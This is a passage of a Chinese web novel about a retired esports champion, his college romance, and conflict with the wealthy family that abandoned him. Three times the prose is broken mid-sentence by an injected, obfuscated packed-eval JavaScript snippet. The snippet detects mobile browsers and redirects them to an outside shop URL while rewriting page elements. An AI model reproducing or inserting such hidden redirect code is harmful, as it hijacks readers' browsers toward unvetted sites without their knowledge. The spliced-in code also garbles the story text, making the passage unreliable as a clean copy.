“我说你没事吧？有什么困难说出来，我给你想办法啊。” 鹿溪午毫无感情地瞥了周有柏一眼，那眼神清清楚楚地写着几个大字：你不配。 周有柏被这个眼神侮辱到了，瞬间跳脚，“你别小看我，哥哥我除了谈恋爱，什么没经历过。” 鹿溪午：“呵。” 语气之嘲讽，态度之轻蔑，简直令人想对着他那俊脸来上几下。 “你太过分了！”周有柏拍案而起。 唰—— 瞬间，阶梯教室里大半的目光集中到周有柏身上。 讲台上的思修课教授推了推眼镜，慢条斯理地开口： “哦？看来这位同学对案例有更深刻的了解啊，那你来说说紧急避险和正当防卫的区别是什么呢？” 周有柏：“我我我……” 他看看教授，又看看一秒变听讲好学生的鹿溪午，从牙缝里憋出几个字：“太过分了……” 坐在前排的赵文终于看不过去了，翻着书页指给周有柏看，总算把他从尴尬中解救出来。 鹿溪午握着手机，想到这几天来都毫无动静的聊天窗口，不由得第一百零九次叹气，“唉。” 他还是问问大佬吧。 [大佬打扰啦！请教一个问题：如果一个对你来说很重要的朋友推荐给了你……一种食物，但你很不喜欢，该怎么说才不会影响两人的关系呢？] 干脆面大佬没回复，显然是在忙。 鹿溪午抿了抿唇，默默收起手机，尽量把自己的注意力转移回课堂上。 其实贺存早就看见了鹿溪午的消息，也猜出了鹿溪午说的这个重要朋友就是自己。 令他感到踌蹰的并不是怎样回复，而是鹿溪午为什么对流浪动物感到抵触。 靠直播凑学费，贺存对于鹿溪午的原生家庭也早有猜测，但现在看来他或许高估了。 鹿溪午抗拒的，究竟是流浪小动物本身，还是流浪小动物身上的某种特性？ 贺存已经察觉到了自己鹿溪午超乎寻常的关注度，但他并不排斥。也许因为自己觉得鹿溪午真的很像七年前的自己吧。 大佬：[我觉得，也许你可以直说？萝卜青菜各有所爱，这很正常，没必要这么纠结扭捏，反倒给自己徒添烦恼。] 675：[知道了，谢谢大佬。] 鹿溪午是下课了才看到的这条消息。 果然还是直说最恰当。 鹿溪午下了决心，抬手给贺存发消息：[学长，明天周六有时间吗？要不要一起去看电影呀？我还没有答谢过学长借我书的事情呢。] . 周六的电影院的人非常多。 鹿溪午提着两杯咖啡，艰难地在人群中走动，却不知道被谁狠狠撞了一下，手里的咖啡差点撒出去。 “没事吧。” 贺存一把握住鹿溪午的手腕，替他稳住身形挡开人群。 鹿溪午惊魂未定，“……谢谢学长——给，咖啡。” 贺存接过鹿溪午手中的袋子，见他回神后便放开了紧握着的手腕。 有点可惜。鹿溪午盯着手腕咂摸着嘴。 “我们今天来看什么？” 听到贺存的问题，鹿溪午狡黠一笑，从兜里掏出两张电影票：“异界之巅的动画电影，我好不容易才抢到的首映日的票。” 贺存曾在鹿溪午面前提过他也玩异界，没想到鹿溪午把这个记住了。 “我以为职业选手会有官方送票？” “有是有，但我退役了。” 贺存摸摸下巴存心逗他：“这官方不行，关爱退休员工也是企业文化的一部分。” 鹿溪午：“……我才20就算退休啦？” 感受到鹿溪午投来不满的视线，贺存含笑轻咳一声：“走吧，都开始检票了。” 鹿溪午喝了一口咖啡，决定不予计较。 两人经过检票口，走进影院内部。 鹿溪午一踏进影院里，光源被剥夺的一瞬间，他的身体渐渐僵硬起来。 贺存跟在后面，第一时间发现了鹿溪午的不对，“怎么了？” “我最近好像忘吃胡萝卜了……”鹿溪午苦笑一声。 贺存立刻想到鹿溪午那双异于常人的浅咖色眼睛，夜盲吗？ “跟我走。”贺存牵起鹿溪午的手，走到前方，“有台阶，小心。” 黑暗中，人的感觉被无限的放大，贺存干燥温暖的手掌圈着鹿溪午的手腕，鹿溪午甚至能感知到贺存掌心的纹路跟自己手腕处最敏感的皮肤相互摩挲。 连鹿溪午自己都没想到，自己十分钟前的遗憾被这样的方式填平了。 果然爱笑的男孩运气不会太差，嘻嘻。 全黑的路段不长，很快鹿溪午眼前的路便被电影屏幕照亮了。 但贺存判断不了鹿溪午夜盲的严重程度，还是牵着他寻找电影票根上的座位号。 鹿溪午一边维持自己的表情，一边在心里疯狂呐喊：再装一会儿，多一秒都是赚的！ 贺存找到座位，牵着人坐下，“现在看得见么？” “能看得清电影屏幕。” 贺存松了口气，问道：“什么时候发现的？去医院看过吗？” “初中吧？”鹿溪午歪了歪头，“有些记不清了。” 孤儿院外面有一条幽深的窄巷，巷口的路灯无法穿透巷道内的黑暗。 自初中开始上晚自习后的某一天，鹿溪午终于发现自己在黑暗中什么也看不见。 当时把鹿奶奶急坏了，带他去市医院做了好些检查，才发现原来只是夜盲症。 “多吃点胡萝卜就能看见了，没事。” 鹿溪午摆摆手，示意贺存不要介意这件事：“电影开始了。” 贺存听出鹿溪午满不在乎的语气，无奈地叹口气，最终还是什么也没说。 依托《异界之巅》的游戏背景，这部动画电影真的很能打，鹿溪午已经能想象到今年的秋季赛热度能创新高了。 “走吧，我送你回去。” 贺存今天正好开了车，得知鹿溪午夜盲症犯了后，他也不敢让人独自回去。 贺存去过鹿溪午家，再去的时候连导航都没开，因此车里安静得有些异常。 他们一个在想夜盲症的治疗，另一个在烦恼该怎么把拒绝的话说出口。 “学长，之前你说的救助协会的事情，我可能……不能参加，对不起哦。” 鹿溪午坐在副驾驶的位置上，斜觑着贺存的表情。 “这有什么好抱歉的。”贺存勾了勾唇角，“每个人都有选择的权利。” 鹿溪午抓着安全带，眼眸中透露出明亮的笑意，但还是固执的坚持：“要道歉的。不被选择的滋味很不好受，我知道。” 不被选择？ 贺存的食指无意识地敲了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644164|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲方向盘，那是他深思的表现。 但他面上没有分毫变化，嘴角仍然噙着一丝若有若无的弧度。 “那……感谢你咯，鹿溪午小同学。” 鹿溪午摇摇头，“前面路口把我放下吧，我想去超市买点东西。” 贺存有些犹豫，“你一个人行吗？我陪你吧。” “没事。从超市到我家都有路灯，我看得见。” 下了车，鹿溪午看着贺存的车越开越远，直至消失才收回目光。 他正准备进超市时，口袋里的手机突然想起专属铃声，那是他给鹿奶奶设置的。 “喂？鹿奶奶？” “溪午啊，你怎么又给孤儿院打钱了？你赚钱也不容易……” 鹿溪午本来还悠闲的动作一顿，“奶奶，我最近没有给孤儿院打钱，您是不是弄错了？” “诶？不应该啊？孤儿院账上的三百万，不是你打的吗？” 三百万？ 这个数字触到了鹿溪午敏感的神经，难道是林家？ “鹿奶奶，您别急。我明天回来看看，这种数额，银行肯定是有记录的。” “我急什么急，又不是我丢了三百万。”电话另一头的鹿奶奶依旧老当益壮，“你明天回来啊？那我明天包饺子吧，你爱吃。” 鹿溪午无奈一笑，“行，谢谢奶奶。那我先挂了？” “你忙吧。” 鹿溪午挂断了电话，轻叹了口气。 林家…… . 元嘉娱乐总部。 张青婉听完林奚录制的成品，满意地点点头：“行了，可以收工了，大家都辛苦了。” 林奚见到录音师的手势，从录音棚里出来：“青婉姐，怎么样？” “非常好，按这个进度，后天就能进入mv的拍摄。” 对于林奚这个艺人，张青婉一开始是不想接的。 纯素人，背景硬，缺乏让人耳目一新的记忆点。 也许林奚是有潜力的，可以凭借一副好嗓子上位，但带他仍然是一场豪赌，而她已经过了那个有冲劲的年纪了。 如果不是林氏集团开出的条件太过优越，张青婉其实是想就此退圈的。 后来她在跟林奚的接触中发现，这个孩子有能力，有资源，肯吃苦，还真的是一个好苗子，就是不知道是不是出身商贾世家的缘故，林奚看什么都带着利益得失的计较。 这种目光在娱乐圈有时候是一件好事，有时候又是一件坏事。 “林总，小林总。” 屋外的嘈杂令张青婉回神，她迅速站起身：“林总，小林总好。” 林奚惊喜地抬起头：“爸爸，哥！” 林沂天点点头，难得温和地问道：“小奚，工作的感觉怎么样？” “很充实！我后天就能去录mv了，下周说不定就能发行了。” “很好，但记得工作的同时也要兼顾学业。”林沂天叮嘱。 “我会的。”林奚脸上的笑意不变。 他早就知道，林沂天的爱是有前提的。 林沂天爱林夫人，是基于林夫人集团大小姐的位置；林沂天爱林修，是基于林修完美继承人的身份； 同样，林沂天爱林奚，是基于林奚本身的价值。 所以，林奚一早就知道不被抛弃的方法，那就是让自己的价值一直大过鹿溪午。 思及此，林奚再度承诺了一句：“我一定会让您感到骄傲的，爸爸。” 12.过去 自从林修上次知道，林奚已经意识到鹿溪午的存在后，他一直想找个机会和林奚谈谈。 回家后，林修找了个借口跟进了林奚的房间。 林奚的房间变化很大，之前随手乱摆的吉他放在了架子上，满墙贴的乐谱也收得干干净净，就连堆在书桌上的唱片被整齐地码进了柜子里。 “怎么把唱片收起来了？你之前不是说这么堆着才有感觉吗？” “爸爸说看着太乱了，让我收拾收拾。”林奚避开了林修的目光，转移了话题：“哥哥，你找我要说什么？” “小奚，最近……你有没有遇到什么事？” 林修想了想，还是换了一个比较委婉的问法。 “哥哥是指什么？”林奚坐在床边，双手撑着床沿，手指无意识地扣住床单。 从小林奚心虚的时候，手指都会无意识地攥着什么。 林修叹了口气：“你知道了，对不对？” 房间里的空气陡然陷入沉默之中，林奚把头埋得很深，仿佛是在借这个姿态搪塞林修的问题。 这样的沉默无异于佐证了林修的猜测。 “小奚，哥哥没有别的意思。”林修斟酌着用词，每一个字都说得很慢：“你有任何问题都可以找我，我永远都是你的哥哥。” 林奚依旧没有抬头，只是维持着那个姿势：“可是……我……” “没关系的，小奚。”林修蹲下身，以俯视的姿态望向林奚的眼睛，“你永远是我弟弟，这点不会改变。” 林奚凝视着林修的双眼，那双浅咖色的眼睛是他这几个月以来的梦魇。 林修小时候是林夫人一手带大的，后来林夫人去世，林修已经到了能上学的年纪，长年的寄宿生活让他很少能跟家人见面，因此格外珍惜亲情。 但林奚是从小跟林沂天生活的，不知不觉中，他的三观逐渐跟林沂天趋同，看待世界的方式也更为市侩。 因此，在情感上，林奚很感动于哥哥的话语，但在理智上，林奚却不停地质疑。 林奚觉得自己就像是踩在空中的钢丝上，只要有一步不对，他就会摔下去粉身碎骨。 好半晌，他才重新端起笑容：“我知道了，谢谢哥哥。” . 周日。 鹿溪午提着大包小包的东西回到孤儿院。 “溪午哥哥回来啦！溪午哥哥回来啦！” 孤儿院里的几个小萝卜头顿时炸开了锅，对于这个每次回来都会带好多东西的大哥哥，他们喜欢得很。 “乖不乖啊？有没有听鹿奶奶的话啊？不听话的小朋友没糖吃。” “听了听了，我们都可听话了，哥哥！” “哥哥又带了什么好吃的？” “哇！巧克力！” “刚做完窝沟封闭，过几天吃。” 鹿奶奶迎了出来，先是制止了小萝卜头的零食狂欢，然后便高兴地拍拍鹿溪午的肩膀，“又长高啦？溪午。” “鹿奶奶，我都多大了，早就不长个儿了。” 鹿溪午有些无奈，把手里的东西递给护工阿姨，自己扶着鹿奶奶进了屋。 鹿奶奶是个雷厉风行的人，不然也不会自己一个人苦苦支撑了这家孤儿院数十年。 舍弃了不必要的寒暄，鹿奶奶直入主题：“我去问过啦，孤儿院账上的三百万，是一个叫众星基金会的捐款。” 鹿溪午抿了抿唇：“是林氏旗下的基金会。” 鹿奶奶知道鹿溪午跟林氏之间的事，她慈爱地摸了摸鹿溪午的头，掌心就跟小时候一样温暖。 “奶奶……” “既然他要给，我们就收着，这本来就是我们溪午应得的。” 鹿奶奶温柔地制止了鹿溪午不赞同的话，“听我说，孩子——我知道你不缺这三百万，但是缺不缺和该不该是两回事。收了这笔钱，他们就会心安，自然也就不会再找你麻烦了。” “可是奶奶，我不想把孤儿院牵扯进来，万一……”鹿溪午垂下眼睫，莫名有些难过。 鹿奶奶拍拍鹿溪午的手：“怕什么？我说过，孤儿院永远可以为你们遮风挡雨，再说了——” 她调皮地眨眨眼睛，那神态简直跟鹿溪午如出一辙：“过了今年，咱们就跟市孤儿院合并了，谁能找到谁啊？” 鹿溪午简直哭笑不得。 他本来就是学的金融，对于林氏集团的能量十分清楚。若是他一个人面对也倒还好，扯上孤儿院实在是他不想看到的局面。 “哎呀，我锅里还煮着饺子呢。” 鹿奶奶一拍大腿，跳下凳子就往厨房跑，动作敏捷，完全看不出是一个七十岁的老人。 热热闹闹吃完一顿午饭。 解决了心头的一件大事，鹿溪午不得不拒绝鹿奶奶的挽留，起身告辞，因为他下午还约了另一个熟人。 TD俱乐部。 这个时候俱乐部的选手都在训练室训练，鹿溪午熟门熟路地摸进俱乐部会议室，此时的房间里已经坐了不少人，教练、副教练、数据分析师…… 这是TD战队的秋季赛第一次战术会议，鹿溪午走到徐泽的身边坐下：“我没来晚吧？” 徐泽摇摇头，眼看时间已经到达预计，他清了清嗓子：“会议开始前，先宣布一件事情。鹿溪午大家都认识，他今天来参会呢，不是以选手的身份，而是以TD新任战术顾问的身份参会。” 之前在战队时，有不少战术方法是鹿溪午的想法，徐泽早就看上了鹿溪午出色的战术思维，想尽办法都给人“返聘”回来了。 此次秋季赛，强敌环伺，而TD又有成员变动，缺少了一个战术核心，TD自然万分危险。 鹿溪午跟教练组关在会议室整整讨论了两个小时，才勉强敲定出几套适合现在TD的方案。 走出会议室大门，这个角度正好能看见楼下的训练室。 鹿溪午的眼光落到陆云身上，沉默不语。 徐泽拍拍鹿溪午的手臂，叹了口气，便去放了还在训练的队员回房休息。 只有小陆云像是被粘在椅子上一样，孜孜不倦地加练着。 队员们走出训练室，便惊喜地看到了鹿溪午，顿时围过来七嘴八舌： “鹿哥怎么回来啦？” “学校里好玩吗？怎么才来看哥几个？” 鹿溪午一个个地寒暄过去，约定了今晚一起的聚餐，才被热情的队友们放过。 但这边的喧闹显然没有影响到陆云，他依旧坐在自己的位置上，带着耳机练补兵。 徐泽习以为常地叹口气：“这孩子我可劝不动，倔得跟头牛似的，还是你这个当师父的去劝劝吧。” 然而鹿溪午面对这种情况也十分头疼，他只得去求助场外援助。 675：[大佬大佬，请教一个问题：如何开导后辈？] 出乎意料的是，干脆面老板回得很快：[你是指那种情况？] 鹿溪午一五一十地把陆云的情况说了，隐去了俱乐部和陆云的名字。 大佬：[这种情况我只能给你一个建议，你得让那个后辈知道，他的目标不是超越你，而是找到一个属于他的位置。] 有道理！不愧是大佬！ 鹿溪午若有所思地点点头，迅速回复：[知道啦，谢谢大佬，我去试试。] 大佬：[祝你成功。] 鹿溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656511|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午上前取下陆云的耳机，“哟，这么刻苦呢。” “谁呀——” 陆云不满地回头，在见到鹿溪午时眼里的不耐烦顿时被欣喜所替代：“师父！” 鹿溪午拉过一旁辅助的椅子，“怎么不去休息？” 陆云傻兮兮地挠了挠后脑勺，“想多练一会儿，向师父看齐！” “打两把？”鹿溪午直接坐在陆云身旁，手速极快地登进自己的账号。 陆云握了握鼠标，“好啊。” 两人进入solo画面，鹿溪午开口问：“想选什么？” 陆云没说话，锁了寒冰荆棘这个靠叠寒气打伤害的法刺，也是鹿溪午的成名英雄之一。 鹿溪午挑眉，真是年轻人，勇气可嘉。 心里这么想着，手下却是一点也不留情，跟陆云锁了个同样的英雄。 两个寒冰荆棘同时出现在游戏画面，就看是谁先杀了谁。 这个英雄十分脆皮，没到六级之前陆云就准备老老实实地呆在线上补兵，这也是鹿溪午的常规打法。 但鹿溪午却异常强势，他四级的时候就敢用二技能去蹭陆云的血皮，激进得仿佛丝毫不顾自己的血量。 陆云很小心地走位，避免被鹿溪午的寒气蹭到，但最终身上还是挂了两层寒气。 即便是这样，鹿溪午该补的兵还是一个没漏，两人几乎同时到达六级。 陆云先发制人，一技能加速直冲鹿溪午面门，紧接着二三技能连放爆手速打伤害。 但鹿溪午走位何其丝滑，一个闪现愣是躲开了致命的最后一击。 进了防御塔深处，陆云不敢再追，两人同时回城补血买装备。 鹿溪午露出一丝赞赏的目光，小陆云进步很大啊。 两人再次回到线上，像是吹响了进攻的号角似的，两个寒冰荆棘同时开大。 一时间安静的训练室里只听得见“哒哒哒”键盘的声音。 两人身上的寒气飞速叠加，最后同时引爆。 【deer（寒冰荆棘）击杀了TD.cloud（寒冰荆棘）】 此时的鹿溪午，只剩十滴血。 他买了一件减伤盔甲，放弃了增伤的权杖，所以他才要在一开始多叠两层寒气弥补伤害的不足。 陆云明白过来原因，有些沮丧地低头：原来从一开始，师父计算到了自己的每一步行动。 “还来吗？” “来！”陆云不服气地紧握拳头，又选了一个法刺英雄。 “行。”鹿溪午仍然跟他选了一样的英雄。 然后又是一次丝血反杀 “再来！” 越塔强杀。 “再来！” 没到六级的碾压。 …… 整整九次，陆云一次没赢，全程都被鹿溪午牵着鼻子走。 小陆云再一次看着自己灰掉的屏幕，嘴唇抿成了一条直线。 “师父……我是不是……”很没用？ “不是。” 鹿溪午盯着陆云的眼睛，严肃地说：“你很优秀，只是搞错了一件事情。在你看来，你为什么要成为打职业？” “……我想赢，我想成为师父一样的人。” “想赢没错，但这并不意味着你要成为我。” 陆云懵懂地眨眨眼睛，没说话。 鹿溪午缓了缓，接着说：“你是要作为cloud去赢，而不是作为deer2.0去赢，明白吗？” 陆云愣住了，有些茫然地叫道：“师父……” “你是你，我是我，我们本就是两个完全不同的人，小陆云。比起成为我，我更希望你成为你自己。” 13.识破 10月23日，这一天正好是二十四节气中的霜降。 也正是这一天，林奚发布了他人生中的第一首歌曲《霜降》。 靠着之前的选秀节目，林奚也收获了一批数量可观的粉丝。 这些粉丝一见到自己爱豆发了新歌，一个个激动地在林奚微博下留言。 【啊啊啊啊啊！奚奚的新歌！我给他买爆！】 【我担出息了，这才出道多久啊，就发了新歌，辛苦撒花】 【只有我一个人觉得奚奚唱得好好听吗？开始单曲循环惹】 【正常啦，毕竟奚奚是C大声乐系专业第一诶】 …… 林奚满意地看着自己稳步上升的热度，直到词条#林奚霜降#爬到第一才放下手机。 张青婉倒是并不意外这样的结果，这首歌本就是专门为林奚的嗓音条件打造的，加上良好的制作和专业的宣发，爆是板上钉钉的事。 为了更好地打响林奚的知名度，形成跨界的热度，她盯上了《异界之巅》这款游戏代言人的位置。 《异界之巅》的国内运营是从来没有请代言人的习惯的，但这些年的玩家增长仿佛已经趋于饱和，运营不得不在宣传上下功夫。 张青婉好不容易得了这个内部消息，她得趁这个机会，好好想想怎么把林奚送到这个位置上。 “小奚，你会打游戏吗？” 林奚愣了会儿：“怎么了，青婉姐？” “关于你出道后的第一个代言，我有个想法……” 张青婉陈述完自己的观点，静静地等待着林奚的反馈。 “当然可以，青婉姐。” 几乎是不怎么需要思考，林奚答应了张青婉的要求，只要能爬得更高，要他做什么都可以，更何况是异界之巅的代言人，他很感兴趣。 张青婉点点头：“那我就安排下去了。” 同样，今天也恰好是《异界之巅》秋季赛开幕式的日子。 按照以往的惯例，各家战队的人气选手和网红主播都会出现在现场。 因此，粉丝们早就蹲在官方直播间翘首以待。 【官方整活大会又开始啦！期待】 【听说这次有娱乐模式哦，会不会又出现一把翻车现场？】 【别说了，我又想起D神去年自己坑死自己的故事哈哈哈哈哈哈哈】 弹幕顿时一片哈哈哈。 【可惜，今年看不到D神了，想他】 【+1】 主持人说完开场词，介绍了新的娱乐模式，在介绍嘉宾环节开始卖起关子。 “还有一位神秘的线上嘉宾，弹幕要不要猜猜是谁？” “听说这位嘉宾年少成名。” “出道即巅峰。” “从不露面。” 此刻的弹幕像雪片一样爆发，符合这几条的选手只有一个—— 【deer！】 “大家好，我是deer。”鹿溪午的声音在万众期待中响起。 【泪目，爷青回！】 【那个男人又回来啦】 【D神——】 “今天我作为线上嘉宾，为大家进行解说。” 为了保证不分流，鹿溪午没开自己的直播间，而是在跟官方进行连麦互动。 主持人作为异界赛事的元老解说，当下乐呵呵地调侃道：“D神坐在解说席的感觉怎么样？” “很新奇，也很庆幸，这次终于不会再出现自己坑自己的局面了。”鹿溪午很懂直播效果，直接cue了上次自己在开幕式中的冥场面，顺便拉高一下观众的期待值： “这次的新娱乐模式更难了，大家可以期待一下其他人的名场面。” 主持人很自然地将话题转到开幕式上来，“是的，让我们一起期待一下其他选手的表现吧！” 鹿溪午退役了之后，热度也依旧高得惊人，此时秋季赛开幕式的讨论度已经创了新高，各种词条在飞快地攀升。 #秋季赛加油# #deer冥场面# 张青婉紧密地关注着异界之巅的热度：“正好，小奚，你把微博发出去。” 林奚将自己观看异界秋季赛开幕式的照片发了出去，并配上文字“劳累工作后的小憩。” 但这条微博却没有受到太多的关注度，底下的评论也是寥寥。 这与上午截然不同的待遇令林奚有些茫然。 “这条微博需要买热度吗？”林奚谨慎地问道。 张青婉思索半晌，摇摇头：“不必，也只是想先给你打下一点基础。” “可是，今天的新歌没有达到我们预想的目标，不需要从其他地方补回来吗？” 林奚有点着急，虽说今天的宣发热度已达预计，但新歌的销量却是只有计划的一半。 这也是张青婉没有预料到的，新歌的销量则是直接关系到未来商务的质量，她也很头疼。 “是我欠考虑了，不该为了霜降这个日子，直接跟异界这种体量的游戏硬碰硬。” 张青婉今天盯了一天的电脑，当下有些烦闷地掐了掐眉心：“看来你的粉丝跟异界的玩家重复率很高，这是件好事，小奚。” 林奚意味不明地嗯了一声：“我知道了，青婉姐。” 他又复盯起手机上的直播来，他向来不关注异界的赛事，对华国有哪些职业选手一无所知。相比而言，林奚更了解北美的一些赛事，当然主要是因为齐光茂在美国的战队。 今天林奚发行新歌，齐光茂也买了不少表示支持。 [购买截图.jpg] [支持大明星，霜降快乐。] 林奚垂下眼帘，他也隐约能够猜到齐光茂的心思。若是以前的齐家也算是门当户对，但现在齐家早已远遁美国，爸爸是不会同意他跟齐光茂的…… 直播间里，解说声音时不时传来—— “这个闪现送死很配sad的ID嘛。” “哈哈哈，D神真是犀利，娱乐模式还是很有看点的！” “各位观众，直播间的抽奖活动已开启，快来为选手们加油助威吧！” …… 直播间的声音陆陆续续，打断了林奚渺远的思绪。不知道为何，这个线上嘉宾的声音林奚听着很耳熟。 林奚是学声乐的，对于各种各样的人声最是敏感，他肯定在哪儿听过这个声音，可他就是想不起来了…… 直播画面里五彩斑斓的礼物画面顿时吸引了林奚的目光。 弹幕飞快划过—— 【干脆面老板来啦！果然有D神的地方就有浣熊老板！】 【kdlkdlkdl】 【财大气粗，这礼物刷了多少钱了？有没有数据党算一下？】 林奚点开了礼物的界面，屏幕上闪烁的特效就是最贵的礼物，6888的鲜花飞船。 林奚默默地算了算，发现这人送出去的钱都快赶上他今天新歌的销售额了。 有点酸。 真是人比人气死人。 . 贺存的手指有点酸。 无它，点礼物点的。 这个直播平台的用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666748|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户体验真的是非常地不友好。要不是鹿溪午跟这个平台签了个长约，贺存老早就想注销账号了。 要不……他把这个平台收购了改改？ 贺存敲了敲手指，琢磨起这件事情的可行性来。 谢嘉盯着两个大黑眼圈，抱着意式浓缩游荡到贺存身后，“为什么人和人的差距这么大？我已经快要累死了，而你却在这里看直播？” “大概是因为我的paper已经过稿了，而你的没有？” “虾仁猪心！” 谢嘉倒吸一口凉气，决定奋起反击：“……那你下个月的组会汇报准备好了吗？这次可是咱们老板亲自听，你可别想像糊弄大师兄一样糊弄老板哦嘿嘿嘿嘿嘿。” “我什么时候糊弄过大师兄了？”贺存用眉梢看了眼谢嘉嫉妒的嘴脸，“我已经在为组会做准备了。” 谢嘉满脸疑惑：“哈？” 他看了看贺存，又看了看直播：“咋滴？你该不会是想把这直播平台给收购了吧？” “bingo。” 贺存一脸“孺子可教也”的表情：“下个月之前写个收购案出来，应该不难。” 谢嘉：“……你是学霸你随意。” 开幕式结束得比预计时间晚了将近一个小时，以至于第二天鹿溪午起床时时针已经快要接近九点。 坏了！九点半还有课呢！ 鹿溪午以最快的速度收拾好自己出了门。 然而屋漏偏逢连夜雨，他家附近的共享单车都被骑完了。 鹿溪午看着软件上大大的红色惊叹号，不由得哀嚎一声，向着学校狂奔而去。 . 林奚今年是大三，课程安排得不多，但学业压力也很大。 因此，林奚除了开学去录节目时请了一次假之外，其他的时候都按时去学校上课。 林修为此还担忧过林奚的身体：“要不把工作安排得轻松一些？” 但林奚拒绝了。 今天正好声乐系大三有一节专业课，林奚坐在车后座，由司机送往学校上课。 本来是无意间往窗外的一瞥，林奚再度看见了那个奔跑着的熟悉身影——鹿溪午。 黑色的迈巴赫飞快从他身边奔驰而过，林奚整个人都浸没在后座的阴影中，望着后视镜里越来越小的身影，神色冷得惊人。 鹿溪午…… 林奚在心里咀嚼着这个名字，想起那次意外的初见—— “我是经济学院大一（2）班鹿溪午……” 等等！ 他终于知道为什么会觉得那个deer的声音耳熟了！ deer，鹿，鹿溪午…… 原来deer就是鹿溪午！这么明显的事，他居然才发现？！ 林奚魂不守舍地来到教室，跟他关系好的同学关切地问起：“林奚，你这是怎么了？” 林奚摇摇头，这种事情他不可能毫无遮拦地往外说。 这是他头一次在自己的专业课上走神。 也是他头一次练声的时候没有跟上节奏。 满头思绪纷飞，这些天在张青婉的要求下，林奚对异界之颠的电竞赛事有了一定的了解。 像他这样初涉赛事领域的人都听过deer如雷贯耳的大名—— 统治S8赛季的王者，春季赛，秋季赛，世界赛三连冠，身价千万的明星电竞选手。 光芒太过耀眼，比他林奚有价值太多了。 要是林沂天知道鹿溪午的真实身份…… 林奚无端打了个寒噤，他不敢想象这个画面。 14.安慰 熬过漫长的上课时间，林奚随着人群走出教学楼。 等林奚反应过来后，自己已经站在了金融系教学楼的门口。 他还没来得及抽身而走，便和鹿溪午撞了个满怀。 “不好意思不好意、是你？”鹿溪午诧异地看着眼前的林奚，“你……是来找我的吗？” 鹿溪午蓦然想起自己上次骑车把林奚撞了的事情，上下打量了一会儿：“是上次把你撞伤了？” 林奚其实也不知道自己为什么要来这里。 这时，林奚的手机却突然亮起，是林修的消息： [小奚，我来接你，中午我们去跟爸爸吃饭。] 一个计划霎时在心中浮现。 林奚双眸微闪，看向鹿溪午：“我们找个安静一点的地方谈谈吧。” 鹿溪午不疑有他，跟着林奚走到了离东大门很近的一片小树林旁边。 “deer是你吧？”林奚一开口就是王炸。 “啊……”鹿溪午愣了，他还想捂着马甲安安静静地上个大学，没想到被林奚直接扒下来，半点缓冲都没有。 “就算你是deer，爸爸也不会认回你的。”林奚眼眸深深，“爸爸不喜欢这种职业。” 这是……向他宣示主权来了？！ “所以……”鹿溪午努力让自己跟上林奚的思路：“你来找我就是为了强调这件事情吗？” 林奚还是自顾自地说：“你跟爸爸提你是deer也没用，只会惹他生气罢了……” “你放心，我不会在他面前自取其辱的。”鹿溪午简直莫名其妙，他们林家的脑回路真是如出一辙。 但他却错过了林奚眼中一闪而过得逞的光芒。 “大家都是成年人，能不能干点成年人该干的事？”鹿溪午无语至极，“你这样像小学生一样的跑到我面前来刷什么存在感，秀什么优越感？” 林修远远走来就只听见鹿溪午的最后几个字，当即脸色大变：“小奚？” 林奚立马跑过去拉住林修的袖子，委委屈屈道：“……哥哥。” 林修立马安慰地拍拍林奚的手，再转向鹿溪午时，眼中已经怒气暗含：“鹿溪午，我到要问问，小奚怎么在秀优越感了？” 没事吧？没事吧？你们没事吧？ 鹿溪午今天被这两兄弟搞得心头无名火起，他当即冷笑一声：“我也把话放在这里，林家，我不稀罕，没想过要回去，这林家少爷的位置爱谁谁，跟我没关系。” 说罢，鹿溪午直接转身就走，不再分给这两人半分眼神。 林奚终于眼中划过一丝笑意。 一箭双雕呢。 既杜绝了鹿溪午在爸爸面前提起deer的身份，也顺便拉低了林修眼里鹿溪午的印象分，简直完美。 林修按了按跳动的眉心，目前的情况实在有些出乎意料。 怎么事情就发展到这一步了？ “……小奚，你没事吧？” 林奚善解人意地摇头，“走吧哥哥，等会儿爸爸该等急了。” 这是要把这件事揭过不提的意思。 林修叹了口气，最后看了一眼鹿溪午离去的方向，顺从地点头。 . 鹿溪午只觉得今天自己出门没看黄历，尽碰上些倒霉的事情。 他其实不太理解为什么自己血缘上的亲人像是防贼一样防着他，虽然林氏集团从客观上来说确实有令人眼红的本钱…… 小时候，他也幻想过自己的家人会是什么样的，幻想过他们丢下自己的苦衷，幻想过重逢的场景。 但现在看来，似乎都是自作多情。 鹿溪午兴趣缺缺地踢着路旁的石子，心不在焉地走到了图书馆的门前。 贺存从图书馆里出来，一身黑色风衣挺括有型，走路时带起衣角翩飞，引得不少姑娘频频回头。 